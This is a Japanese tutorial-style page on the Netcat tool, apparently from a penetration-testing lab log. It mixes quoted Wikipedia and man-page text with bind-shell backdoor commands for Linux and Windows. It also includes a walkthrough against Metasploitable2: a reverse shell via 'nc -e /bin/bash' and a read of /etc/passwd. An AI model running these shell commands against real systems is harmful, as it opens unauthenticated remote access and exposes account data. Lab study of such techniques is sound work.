NetcatはHobbit氏によって開発された、汎用TCP/UDP接続コマンドラインツールである。接続先IPアドレス(もしくはホスト名)とポート番号を指定することにより、その接続先の該当するポートで待ち受けているサーバソフトウェアと通信することができる。またリッスンモードでは、指定したポート番号で通信を待ち受け、接続してきたクライアントソフトウェアと会話することも可能だ。
ローカルコンピュータ上でのNetcatに対する入力およびNetcatからの出力は、通常は標準入出力(つまりキーボードと端末表示)に割り当てられているのだが、「-e」オプションを指定することで入出力先を他のプログラムにリダイレクトすることができる。

Netcat - Wikipedia
netcatは、UNIX系OSで動作するコマンドラインアプリケーションである。TCPUDPを扱う万能ツールとして知られ、しばしばネットワークのスイスアーミーナイフ、TCP/IPのアーミーナイフ、ハッカーのアーミーナイフなどのように評される。その万能性ゆえ、nmapの作者として知られるセキュリティ専門家のGordon Lyon が管理するInsecure.orgにおいて、ネットワークセキュリティツール部門の常に上位5位以内にランキングされているツールである。

「簡易telnetサーバー」
nc -l -p 10025 -e /bin/sh
他の端末からポート10025にアクセスすることで、入出力が/bin/shにリダイレクトされるようになる。すなわち、バックドアとして機能するようになる。もちろん認証機能は存在せず、実行権限はnetcatの実行権限と同一となる。Windows版では以下のように指定すれば同様にバックドアとして機能するようになる。
start nc -d -L -p 10025 -e cmd.exe
オプション -L は、セッション切断後も継続してlistenするためのオプションである。また、オプション -d はステルスモードとなり、コマンドプロンプト・ウィンドウなしで動作するようになる。このような使い方が可能なツールゆえ、netcatのWindows版は主要なウィルススキャナの半数以上によってウィルス(リモートAdminツール)として判定されるものとなっている。
netcat - マニュアルページセク ション 1: ユーザーコマンド
オプション
–l : リモートホストへの接続を開始せずに、着信する接続を待機します。
–p port : –l オプションを指定せずに使用する場合は、nc が使用する発信元ポートを特権の制限と使用条件に従って指定します。–l オプションと同時に使用する場合は、待機ポートを設定します。このオプションと –l オプションの組み合わせは、グローバルなポート引数が指定されていない場合にのみ使用できます。
–e program : 接続の受け入れまたは実行後に外部プログラムを実行します。実行前に、stdin,stdout,stderr がネットワーク記述子にリダイレクトされます。このオプションでは、1 つのポートのみを使用できます。
–v : 詳細出力を指定します。
オペランド
hostname
 ホスト名を指定します。
 hostname には、数値 IP アドレスまたは記号ホスト名 (–n オプションを指定していない場合のみ) を指定できます。
 一般に、hostname を指定する必要があるのは、–l オプションを指定しない場合か、–U を使用しない場合です (その場合、この引数はパスになります)。hostname 引数を –l オプションを同時に指定した場合、port 引数も指定する必要があり、nc はそのアドレスとポートにバインドしようとします。hostname 引数を –l オプションと同時に指定しなかった場合、nc は指定されたポートのワイルドカードソケットで待機しようとします。
path
 パス名を指定します。
port
port_list
 ポートを指定します。
 port_list には、1 つの整数、整数の範囲、あるいはその両方の組み合わせを指定できます。範囲は nn-mm の形式で指定します。port_list には 1 つ以上のメンバーを指定する必要があり、複数のポートまたは範囲をコンマで区切って指定できます。
 一般に、着信先ポートを指定する必要があるのは、–U オプションを指定しない場合です。そのオプションを指定した場合は、hostname の代わりに Unix ドメインソケットのパスを指定する必要があります。
 複数のポートが含まれているポート一覧を -e オプションと同時に使用すると、エラーになります。

Apache2 の再起動

root@kali:/var/www/html# /etc/init.d/apache2 restart
Restarting apache2 (via systemctl): apache2.service.

nc -l -v -p 31337これで、Kali がポート 31337 で待ち受け状態に入る。

root@kali:/var/www/html# nc -l -v -p 31337
listening on [any] 31337 ...

次に、Kali のウェブサーバー上で新しく作成した "shell.html" ページを表示させる。

(nc -e /bin/bash 192.168.56.108 31337 つまり、先ほど待ち受けスタートした Kali のポート31337 に接続するコマンドを実行する)

f:id:hirose-test:20190916065645j:plain

端末が Metasploitable2 に接続されるので、各種コマンドを確認する

root@kali:/var/www/html# nc -l -v -p 31337
listening on [any] 31337 ...
192.168.56.105: inverse host lookup failed: Unknown host
connect to [192.168.56.108] from (UNKNOWN) [192.168.56.105] 47327
whoami
www-data
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
 ~(後略)~
/* -----codeの行番号----- */